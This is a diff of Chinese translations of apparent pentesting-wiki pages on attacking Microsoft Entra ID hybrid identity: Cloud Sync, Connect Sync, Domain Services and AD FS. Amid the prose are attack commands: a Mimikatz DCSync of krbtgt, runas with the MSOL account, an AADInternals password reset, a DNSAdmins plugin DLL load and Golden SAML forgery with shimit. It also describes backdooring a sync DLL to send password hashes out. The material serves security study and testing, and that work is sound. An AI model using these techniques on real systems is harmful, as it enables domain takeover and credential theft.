> 除其他权限外,服务帐户 **`provAgentgMSA`** 具有 DCSync 权限,允许 **任何人一旦妥协它就能妥协整个目录**。有关 DCSync 的更多信息,请查看 [DCSync 检查此](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)。
|
||||
|
||||
> [!NOTE]
|
||||
> 默认情况下,已知特权组(如域管理员)中具有 **`adminCount` 为 1 的用户出于安全原因不会与 Entra ID 同步。然而,其他没有此属性或直接分配高权限的特权组中的用户 **可以被同步**。
|
||||
> 默认情况下,具有 **`adminCount` 为 1 的已知特权组(如域管理员)的用户出于安全原因不会与 Entra ID 同步。然而,其他没有此属性的特权组成员或直接分配高权限的用户 **可以被同步**。
|
||||
|
||||
## 密码同步
|
||||
|
||||
@@ -35,20 +35,20 @@
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **密码哈希同步** 可以启用,以便用户能够 **使用他们在 AD 中的密码登录 Entra ID**。此外,每当在 AD 中修改密码时,它将在 Entra ID 中更新。
|
||||
- **密码回写** 也可以启用,允许用户在 Entra ID 中修改他们的密码,并自动同步他们在本地域中的密码。但根据 [当前文档](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback),这需要使用 Connect Agent,因此请查看 [Az Connect Sync 部分](./az-connect-sync.md)以获取更多信息。
|
||||
- **密码哈希同步** 可以启用,以便用户能够 **使用其 AD 密码登录 Entra ID**。此外,每当在 AD 中修改密码时,它将在 Entra ID 中更新。
|
||||
- **密码回写** 也可以启用,允许用户在 Entra ID 中修改其密码,并自动同步其在本地域中的密码。但根据 [当前文档](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback),为此需要使用 Connect Agent,因此请查看 [Az Connect Sync 部分](./az-connect-sync.md) 以获取更多信息。
|
||||
- **组回写**:此功能允许将 Entra ID 中的组成员资格同步回本地 AD。这意味着如果用户被添加到 Entra ID 中的组,他们也将被添加到 AD 中的相应组。
|
||||
|
||||
## 侧向移动
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- 如果 AD 用户正在从 AD 同步到 Entra ID,则从 AD 到 Entra ID 的侧向移动是直接的,只需 **妥协某个用户的密码或更改某个用户的密码或创建一个新用户并等待它同步到 Entra ID 目录(通常只需几分钟)**。
|
||||
- 如果 AD 用户正在从 AD 同步到 Entra ID,则从 AD 到 Entra ID 的侧向移动非常简单,只需 **妥协某个用户的密码或更改某个用户的密码或创建一个新用户并等待其同步到 Entra ID 目录(通常只需几分钟)**。
|
||||
|
||||
例如,您可以:
|
||||
因此,您可以例如
|
||||
- 妥协 **`provAgentgMSA`** 帐户,执行 DCSync 攻击,破解某个用户的密码,然后使用它登录 Entra ID。
|
||||
- 只需在 AD 中创建一个新用户,等待它同步到 Entra ID,然后使用它登录 Entra ID。
|
||||
- 修改 AD 中某个用户的密码,等待它同步到 Entra ID,然后使用它登录 Entra ID。
|
||||
- 只需在 AD 中创建一个新用户,等待其同步到 Entra ID,然后使用它登录 Entra ID。
|
||||
- 修改 AD 中某个用户的密码,等待其同步到 Entra ID,然后使用它登录 Entra ID。
|
||||
|
||||
要妥协 **`provAgentgMSA`** 凭据:
|
||||
```powershell
|
||||
@@ -81,13 +81,13 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> 请注意,无法根据其属性为同步用户在 Cloud Sync 配置中授予 Azure 或 EntraID 角色。然而,为了自动授予同步用户权限,某些 **来自 AD 的 Entra ID 组** 可能会被授予权限,因此这些组内的同步用户也会接收到这些权限,或者 **可以使用动态组**,因此始终检查动态规则和潜在的滥用方式:
|
||||
> 请注意,无法根据其属性为同步用户在 Cloud Sync 配置中授予 Azure 或 EntraID 角色。然而,为了自动授予同步用户权限,某些 **来自 AD 的 Entra ID 组** 可能会被授予权限,以便这些组内的同步用户也能接收这些权限,或者 **可以使用动态组**,因此请始终检查动态规则和潜在的滥用方式:
|
||||
|
||||
{{#ref}}
|
||||
../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
关于持久性,[这篇博客文章](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) 建议可以使用 [**dnSpy**](https://github.com/dnSpy/dnSpy) 来后门 **`Microsoft.Online.Passwordsynchronisation.dll`**,该文件位于 **`C:\Program Files\Microsoft Azure AD Sync\Bin`**,由 Cloud Sync 代理用于执行密码同步,使其将被同步用户的密码哈希导出到远程服务器。哈希是在 **`PasswordHashGenerator`** 类内部生成的,博客文章建议添加一些代码,使该类看起来像(注意 `use System.Net` 和 `WebClient` 的使用以导出密码哈希):
|
||||
关于持久性,[这篇博客文章](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) 建议可以使用 [**dnSpy**](https://github.com/dnSpy/dnSpy) 来后门 **`Microsoft.Online.Passwordsynchronisation.dll`**,该文件位于 **`C:\Program Files\Microsoft Azure AD Sync\Bin`**,由 Cloud Sync 代理使用以执行密码同步,使其将被同步用户的密码哈希导出到远程服务器。哈希是在 **`PasswordHashGenerator`** 类内部生成的,博客文章建议添加一些代码,使该类看起来像(注意 `use System.Net` 和 `WebClient` 的使用以导出密码哈希):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
@@ -129,12 +129,12 @@ C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: 在源 'C:\Program Files (
|
||||
|
||||
- 如果启用了 **Password Writeback**,您可以从 Entra ID 修改某些用户的密码,如果您可以访问 AD 网络,则可以使用这些密码进行连接。有关更多信息,请查看 [Az Connect Sync section](./az-connect-sync.md) 部分,因为密码写回是通过该代理配置的。
|
||||
|
||||
- 此时,Cloud Sync 还允许 **"Microsoft Entra ID to AD"**,但经过一段时间后我发现它无法将 EntraID 用户同步到 AD,并且它只能同步与密码哈希同步的 EntraID 用户,这些用户来自与我们要同步的域属于同一域林的域,正如您在 [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) 中所读到的:
|
||||
- 此时,Cloud Sync 还允许 **"Microsoft Entra ID to AD"**,但经过一段时间后我发现它无法将 EntraID 用户同步到 AD,并且它只能同步与密码哈希同步的 EntraID 用户,这些用户来自与我们正在同步的域属于同一域林的域,正如您在 [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) 中所读到的:
|
||||
|
||||
> - 这些组只能包含本地同步的用户和/或额外的云创建的安全组。
|
||||
> - 被同步的本地用户帐户和此云创建的安全组的成员,可以来自同一域或跨域,但它们都必须来自同一林。
|
||||
> - 被同步的本地用户帐户和此云创建的安全组的成员,可以来自同一域或跨域,但它们必须来自同一林。
|
||||
|
||||
因此,该服务的攻击面(和实用性)大大降低,因为攻击者需要破坏用户正在同步的初始 AD,才能破坏另一个域中的用户(而且这两个域显然必须在同一林中)。
|
||||
因此,该服务的攻击面(和实用性)大大降低,因为攻击者需要破坏用户正在同步的初始 AD,才能破坏另一个域中的用户(而且显然两个域必须在同一林中)。
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
+22
-22
@@ -4,9 +4,9 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect 同步服务(Microsoft Entra Connect Sync)是 Microsoft Entra Connect 的主要组成部分。它负责处理与在本地环境和 Microsoft Entra ID 之间同步身份数据相关的所有操作。
|
||||
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect 同步服务 (Microsoft Entra Connect Sync) 是 Microsoft Entra Connect 的主要组成部分。它负责处理与在本地环境和 Microsoft Entra ID 之间同步身份数据相关的所有操作。
|
||||
|
||||
为了使用它,需要在您的 AD 环境中的服务器上安装 **`Microsoft Entra Connect Sync`** 代理。该代理将负责从 AD 侧进行同步。
|
||||
为了使用它,需要在您的 AD 环境中的服务器上安装 **`Microsoft Entra Connect Sync`** 代理。这个代理将负责从 AD 侧进行同步。
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -18,8 +18,8 @@ az-cloud-sync.md
|
||||
|
||||
### 生成的主体
|
||||
|
||||
- 账户 **`MSOL_<installationID>`** 会在本地 AD 中自动创建。该账户被赋予 **目录同步账户** 角色(见 [文档](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)),这意味着它在本地 AD 中具有 **复制(DCSync)权限**。
|
||||
- 这意味着任何妥协该账户的人都将能够妥协本地域。
|
||||
- 账户 **`MSOL_<installationID>`** 会在本地 AD 中自动创建。该账户被赋予 **目录同步账户** 角色 (参见 [文档](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)),这意味着它在本地 AD 中具有 **复制 (DCSync) 权限**。
|
||||
- 这意味着任何妥协此账户的人都将能够妥协本地域。
|
||||
- 在本地 AD 中创建了一个受管服务账户 **`ADSyncMSA<id>`**,没有任何特殊的默认权限。
|
||||
- 在 Entra ID 中,服务主体 **`ConnectSyncProvisioning_ConnectSync_<id>`** 会与证书一起创建。
|
||||
|
||||
@@ -27,13 +27,13 @@ az-cloud-sync.md
|
||||
|
||||
### 密码哈希同步
|
||||
|
||||
该组件还可以用于 **将密码从 AD 同步到 Entra ID**,以便用户能够使用其 AD 密码连接到 Entra ID。为此,需要在安装在 AD 服务器上的 Microsoft Entra Connect Sync 代理中允许密码哈希同步。
|
||||
此组件还可以用于 **将密码从 AD 同步到 Entra ID**,以便用户能够使用其 AD 密码连接到 Entra ID。为此,需要在安装在 AD 服务器上的 Microsoft Entra Connect Sync 代理中允许密码哈希同步。
|
||||
|
||||
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **密码哈希同步** 是实现混合身份的一种登录方法。**Azure AD Connect** 将用户密码的哈希值的哈希值从本地 Active Directory 实例同步到基于云的 Azure AD 实例。
|
||||
|
||||
基本上,所有 **用户** 和 **密码哈希的哈希值** 都从本地同步到 Azure AD。然而,**明文密码** 或 **原始** **哈希** 不会发送到 Azure AD。
|
||||
基本上,所有 **用户** 和 **密码哈希的哈希** 都从本地同步到 Azure AD。然而,**明文密码** 或 **原始** **哈希** 不会发送到 Azure AD。
|
||||
|
||||
**哈希同步** 每 **2 分钟** 发生一次。然而,默认情况下,**密码过期** 和 **账户** **过期** 在 Azure AD 中 **不进行同步**。因此,**本地密码过期**(未更改)的用户仍然可以使用旧密码 **访问 Azure 资源**。
|
||||
**哈希同步** 每 **2 分钟** 发生一次。然而,默认情况下,**密码过期** 和 **账户** **过期** 在 Azure AD 中 **不进行同步**。因此,**本地密码过期**(未更改)的用户可以继续使用旧密码 **访问 Azure 资源**。
|
||||
|
||||
当本地用户想要访问 Azure 资源时,**身份验证发生在 Azure AD 上**。
|
||||
|
||||
@@ -46,15 +46,15 @@ az-cloud-sync.md
|
||||
|
||||
这对于从被妥协的 Entra ID 妥协 AD 特别有趣,因为您将能够修改“几乎”任何用户的密码。
|
||||
|
||||
如果组具有 **`adminCount` 属性为 1**,则域管理员和其他属于某些特权组的用户不会被复制。但是,其他在 AD 中被直接分配高权限而不属于任何这些组的用户可以更改他们的密码。例如:
|
||||
如果组具有 **`adminCount` 属性为 1**,则域管理员和其他属于某些特权组的用户不会被复制。但是,其他在 AD 中被分配高权限而不属于任何这些组的用户可以更改他们的密码。例如:
|
||||
|
||||
- 直接分配高权限的用户。
|
||||
- **`DNSAdmins`** 组中的用户。
|
||||
- 创建了 GPO 并将其分配给 OU 的 **`Group Policy Creator Owners`** 组中的用户将能够修改他们创建的 GPO。
|
||||
- 创建 GPO 并将其分配给 OU 的 **`Group Policy Creator Owners`** 组中的用户将能够修改他们创建的 GPO。
|
||||
- 可以向 Active Directory 发布证书的 **`Cert Publishers Group`** 中的用户。
|
||||
- 任何其他没有 **`adminCount` 属性为 1** 的高权限组中的用户。
|
||||
- 任何其他没有 **`adminCount` 属性为 1** 的高权限组的用户。
|
||||
|
||||
## AD --> Entra ID 的枢轴
|
||||
## AD --> Entra ID 的枢转
|
||||
|
||||
### 枚举 Connect Sync
|
||||
|
||||
@@ -83,14 +83,14 @@ az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronizat
|
||||
```
|
||||
### 查找密码
|
||||
|
||||
**`MSOL_*`** 用户(以及如果创建了 **Sync\_\*** 用户)的密码 **存储在 SQL 服务器** 上,该服务器上安装了 **Entra ID Connect。** 管理员可以以明文形式提取这些特权用户的密码。\
|
||||
**`MSOL_*`** 用户(以及如果创建的 **Sync\_\*** 用户)的密码 **存储在 SQL 服务器** 上,该服务器上 **安装了 Entra ID Connect。** 管理员可以以明文形式提取这些特权用户的密码。\
|
||||
数据库位于 `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`。
|
||||
|
||||
可以从其中一个表中提取配置,其中一个是加密的:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
**加密配置** 使用 **DPAPI** 加密,包含 **`MSOL_*`** 用户在本地 AD 中的密码和 **Sync\_\*** 在 AzureAD 中的密码。因此,妥协这些密码可以提升到 AD 和 AzureAD 的权限。
|
||||
**加密配置** 是使用 **DPAPI** 加密的,它包含了本地 AD 中 **`MSOL_*`** 用户的密码和 AzureAD 中 **Sync\_\*** 的密码。因此,妥协这些密码可以提升到 AD 和 AzureAD 的权限。
|
||||
|
||||
您可以在此演讲中找到 [关于这些凭据如何存储和解密的完整概述](https://www.youtube.com/watch?v=JEIR5oGCwdg)。
|
||||
|
||||
@@ -112,9 +112,9 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!WARNING]
|
||||
> 之前的攻击泄露了另一个密码,然后连接到名为 `Sync_*` 的 Entra ID 用户,并随后妥协了 Entra ID。然而,该用户不再存在。
|
||||
> 之前的攻击泄露了另一个密码,以便连接到名为 `Sync_*` 的 Entra ID 用户,然后妥协了 Entra ID。然而,该用户不再存在。
|
||||
|
||||
### Abusing ConnectSyncProvisioning_ConnectSync\_<id>
|
||||
### 滥用 ConnectSyncProvisioning_ConnectSync\_<id>
|
||||
|
||||
此应用程序创建时没有分配任何 Entra ID 或 Azure 管理角色。然而,它具有以下 API 权限:
|
||||
|
||||
@@ -126,20 +126,20 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
|
||||
- `PasswordWriteback.RegisterClientVersion.All`
|
||||
|
||||
提到该应用程序的服务主体仍然可以使用未记录的 API 执行一些特权操作,但据我所知尚未找到 PoC。\
|
||||
无论如何,考虑到这可能是可行的,进一步探索如何找到证书以作为该服务主体登录并尝试滥用它将是有趣的。
|
||||
无论如何,考虑到这可能是可行的,进一步探索如何找到证书以作为此服务主体登录并尝试滥用它将是有趣的。
|
||||
|
||||
这篇 [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) 在从使用 `Sync_*` 用户更改为此服务主体之前不久发布,解释了证书存储在服务器内部,并且可以找到它,生成其 PoP(拥有证明)和图形令牌,并通过此方式能够向服务主体添加新证书(因为 **服务主体** 始终可以为自己分配新证书),然后使用它保持作为 SP 的持久性。
|
||||
这篇 [博客文章](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) 在从使用 `Sync_*` 用户更改为此服务主体之前不久发布,解释了证书存储在服务器内部,并且可以找到它,生成其 PoP(拥有证明)和图形令牌,借此能够向服务主体添加新证书(因为 **服务主体** 始终可以为自己分配新证书),然后利用它保持作为 SP 的持久性。
|
||||
|
||||
为了执行这些操作,发布了以下工具:[SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils)。
|
||||
|
||||
根据我的经验,证书不再存储在之前工具查找的地方,因此该工具不再有效。因此,可能需要进一步研究。
|
||||
|
||||
### Abusing Sync\_\* [DEPRECATED]
|
||||
### 滥用 Sync\_\* [已弃用]
|
||||
|
||||
> [!WARNING]
|
||||
> 之前在 Entra ID 中创建了一个名为 `Sync_*` 的用户,并分配了非常敏感的权限,这允许执行特权操作,如修改任何用户的密码或向服务主体添加新凭据。然而,从 2025 年 1 月起,该用户不再默认创建,因为现在使用的是应用程序/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**。然而,它可能仍然存在于某些环境中,因此值得检查。
|
||||
> 之前在 Entra ID 中创建了一个名为 `Sync_*` 的用户,分配了非常敏感的权限,允许执行特权操作,如修改任何用户的密码或向服务主体添加新凭据。然而,从 2025 年 1 月起,该用户不再默认创建,因为现在使用的是应用程序/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**。然而,它可能仍然存在于某些环境中,因此值得检查。
|
||||
|
||||
妥协 **`Sync_*`** 账户可以 **重置任何用户的密码**(包括全局管理员)
|
||||
妥协 **`Sync_*`** 账户可以 **重置任何用户的密码**(包括全局管理员)。
|
||||
```bash
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
@@ -172,7 +172,7 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
可以导出该用户的密码。
|
||||
可以转储该用户的密码。
|
||||
|
||||
> [!CAUTION]
|
||||
> 另一个选项是**为服务主体分配特权权限**,而**Sync**用户有**权限**这样做,然后**访问该服务主体**作为特权提升的方法。
|
||||
@@ -185,7 +185,7 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## 透传 Entra ID --> AD
|
||||
## 旋转 Entra ID --> AD
|
||||
|
||||
- 如果启用了密码回写,您可以**修改与Entra ID同步的AD中任何用户的密码**。
|
||||
- 如果启用了组回写,您可以**将用户添加到与AD同步的Entra ID中的特权组**。
|
||||
+86
@@ -0,0 +1,86 @@
|
||||
# Az - Microsoft Entra Domain Services
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Domain Services
|
||||
|
||||
Microsoft Entra Domain Services 允许在 Azure 中部署 Active Directory,而无需管理域控制器(实际上您甚至无法访问它们)。
|
||||
|
||||
其主要目标是允许您在云中运行无法使用现代身份验证方法的遗留应用程序,或者您不希望目录查找始终返回本地 AD DS 环境。
|
||||
|
||||
请注意,为了将 Entra ID 中生成的用户(而不是从其他活动目录同步的用户)同步到 AD 域服务,您需要**将用户的密码**更改为新密码,以便可以与新的 AD 同步。实际上,用户在密码更改之前不会从 Microsoft Entra ID 同步到域服务。
|
||||
|
||||
> [!WARNING]
|
||||
> 即使您正在创建一个新的活动目录域,您也无法完全管理它(除非利用一些错误配置),这意味着默认情况下,例如您无法直接在 AD 中创建用户。您通过**从 Entra ID 同步用户**来创建它们。您可以指示同步所有用户(即使是从其他本地 AD 同步的用户)、仅云用户(在 Entra ID 中创建的用户),甚至**进一步过滤它们**。
|
||||
|
||||
> [!NOTE]
|
||||
> 通常,由于新域配置的灵活性不足以及 AD 通常已经在本地的事实,这并不是 Entra ID 和 AD 之间的主要集成,但仍然值得了解如何妥协它。
|
||||
|
||||
### Pivoting
|
||||
|
||||
生成的 **`AAD DC Administrators`** 组的成员在与托管域关联的 VM 上被授予本地管理员权限(但不在域控制器上),因为他们被添加到本地管理员组中。该组的成员还可以使用**远程桌面远程连接到域加入的 VM**,并且也是以下组的成员:
|
||||
|
||||
- **`Denied RODC Password Replication Group`**:这是一个指定用户和组的组,其密码不能在 RODC(只读域控制器)上缓存。
|
||||
- **`Group Policy Creators Owners`**:该组允许成员在域中创建组策略。然而,其成员无法将组策略应用于用户或组或编辑现有的 GPO,因此在此环境中并不那么有趣。
|
||||
- **`DnsAdmins`**:该组允许管理 DNS 设置,并在过去被滥用以[提升权限并妥协域](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins),然而在此环境中测试该攻击后发现该漏洞已被修补:
|
||||
```text
|
||||
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
|
||||
DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
注意,为了授予这些权限,在AD中,**`AAD DC Administrators`** 组被添加为之前组的成员,并且GPO **`AADDC Computers GPO`** 将域组 **`AAD DC Administrators`** 的所有成员添加为本地管理员。
|
||||
|
||||
从Entra ID到使用域服务创建的AD的横向移动是直接的,只需将用户添加到 **`AAD DC Administrators`** 组中,通过RDP访问域中的任何/所有机器,您将能够窃取数据并且**妥协域。**
|
||||
|
||||
然而,从域到Entra ID的横向移动并不容易,因为域中的内容没有同步到Entra ID。然而,始终检查所有加入的VM的元数据,因为它们的分配的托管身份可能具有有趣的权限。同时**从域中转储所有用户密码**并尝试破解它们,以便登录到Entra ID / Azure。
|
||||
|
||||
> [!NOTE]
|
||||
> 注意,在过去发现了其他漏洞,这些漏洞允许妥协DC,[像这个](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com)。妥协DC的攻击者可以非常轻松地保持持久性,而Azure管理员则未注意到或甚至无法移除它。
|
||||
|
||||
### 枚举
|
||||
```bash
|
||||
# Get configured domain services domains (you can add more subs to check in more subscriptions)
|
||||
az rest --method post \
|
||||
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
|
||||
--body '{
|
||||
"subscriptions": [
|
||||
"0ce1297c-9153-425d-3229-f51093614377"
|
||||
],
|
||||
"query": "resources | where type == \"microsoft.aad/domainservices\"",
|
||||
"options": {
|
||||
"$top": 16,
|
||||
"$skip": 0,
|
||||
"$skipToken": ""
|
||||
}
|
||||
}'
|
||||
|
||||
# Get domain configuration
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
|
||||
## e.g.
|
||||
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
|
||||
|
||||
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
|
||||
|
||||
subscription_id="0ce1297c-9153-425d-3229-f51093614377"
|
||||
vnet_name="aadds-vnet"
|
||||
|
||||
# Retrieve all VMs in the subscription
|
||||
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)
|
||||
|
||||
# Iterate through each VM to check their VNet connection
|
||||
echo "VMs connected to VNet '$vnet_name':"
|
||||
while IFS=$'\t' read -r vm_name resource_group; do
|
||||
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)
|
||||
|
||||
for nic_id in $nic_ids; do
|
||||
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)
|
||||
|
||||
if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
|
||||
echo "VM Name: $vm_name, Resource Group: $resource_group"
|
||||
fi
|
||||
done
|
||||
done <<< "$vm_list"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+7
-7
@@ -7,11 +7,11 @@
|
||||
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
|
||||
|
||||
>**联邦**是建立了**信任**的一组**域**。信任的级别可能有所不同,但通常包括**身份验证**,几乎总是包括**授权**。一个典型的联邦可能包括一组已建立**信任**的**组织**,以便**共享访问**一组资源。
|
||||
>您可以将**本地**环境与**Azure AD**进行**联邦**,并使用此联邦进行身份验证和授权。这种登录方法确保所有用户的**身份验证发生在本地**。这种方法允许管理员实施更严格的访问控制。与**AD FS**和PingFederate的联邦是可用的。
|
||||
>您可以将**本地环境**与**Azure AD**进行**联邦**,并使用此联邦进行身份验证和授权。这种登录方法确保所有用户**身份验证在本地进行**。这种方法允许管理员实施更严格的访问控制。与**AD FS**和PingFederate的联邦是可用的。
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
基本上,在联邦中,所有**身份验证**发生在**本地**环境中,用户在所有受信任的环境中体验单点登录(SSO)。因此,用户可以使用其**本地凭据**访问**云**应用程序。
|
||||
基本上,在联邦中,所有**身份验证**都发生在**本地**环境中,用户在所有受信任的环境中体验单点登录(SSO)。因此,用户可以使用其**本地凭据**访问**云**应用程序。
|
||||
|
||||
**安全断言标记语言(SAML)**用于在提供者之间**交换**所有身份验证和授权**信息**。
|
||||
|
||||
@@ -34,7 +34,7 @@
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
## 旋转
|
||||
## 侧向移动
|
||||
|
||||
- AD FS是基于声明的身份模型。
|
||||
- "..声明只是关于用户的语句(例如,姓名、身份、组),主要用于授权访问位于互联网上任何地方的基于声明的应用程序。"
|
||||
@@ -46,7 +46,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
**黄金SAML攻击:**
|
||||
|
||||
- 在ADFS中,SAML响应由令牌签名证书签名。
|
||||
- 如果证书被泄露,可以作为任何同步到Azure AD的用户进行身份验证!
|
||||
- 如果证书被泄露,则可以作为任何同步到Azure AD的用户进行身份验证!
|
||||
- 就像我们的PTA滥用一样,用户的密码更改或MFA不会产生任何影响,因为我们伪造了身份验证响应。
|
||||
- 可以从AD FS服务器提取证书,具有DA权限,然后可以从任何连接到互联网的机器上使用。
|
||||
- 更多信息请参见[https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
@@ -57,7 +57,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
|
||||
可以与[黄金票证攻击](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)进行类比,其中用于验证用户身份和权限的密钥(黄金票证的KRBTGT,黄金SAML的令牌签名私钥)可以被操纵以**伪造身份验证对象**(TGT或SAMLResponse)。这允许冒充任何用户,授予对SP的未授权访问。
|
||||
|
||||
黄金SAML提供某些优势:
|
||||
黄金SAML提供了一些优势:
|
||||
|
||||
- 它们可以**远程创建**,无需成为相关域或联邦的一部分。
|
||||
- 即使启用**双因素身份验证(2FA)**,它们仍然有效。
|
||||
@@ -68,7 +68,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) 是一项Microsoft服务,促进受信任商业伙伴之间的**身份信息安全交换**(联邦)。它本质上允许域服务与联邦内的其他服务提供者共享用户身份。
|
||||
|
||||
由于AWS信任被泄露的域(在联邦中),可以利用此漏洞潜在地**获取AWS环境中的任何权限**。该攻击需要**用于签名SAML对象的私钥**,类似于在黄金票证攻击中需要KRBTGT。访问AD FS用户帐户足以获取此私钥。
|
||||
由于AWS信任被攻陷的域(在联邦中),可以利用此漏洞来潜在地**获取AWS环境中的任何权限**。该攻击需要**用于签名SAML对象的私钥**,类似于在黄金票证攻击中需要KRBTGT。访问AD FS用户帐户足以获取此私钥。
|
||||
|
||||
执行黄金SAML攻击的要求包括:
|
||||
|
||||
@@ -96,7 +96,7 @@ _只有加粗的项目是强制性的。其他项目可以根据需要填写。_
|
||||
# Role Name
|
||||
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
|
||||
```
|
||||
通过所有信息,可以使用 [**shimit**](https://github.com/cyberark/shimit)**:** 忘记一个有效的 SAMLResponse,作为您想要冒充的用户。
|
||||
通过所有信息,可以使用 [**shimit**](https://github.com/cyberark/shimit)**,以您想要冒充的用户身份忘记一个有效的 SAMLResponse:**
|
||||
```bash
|
||||
# Apply session for AWS cli
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
|
||||
+2
-2
@@ -4,12 +4,12 @@
|
||||
|
||||
## 强制将 Entra ID 用户同步到本地
|
||||
|
||||
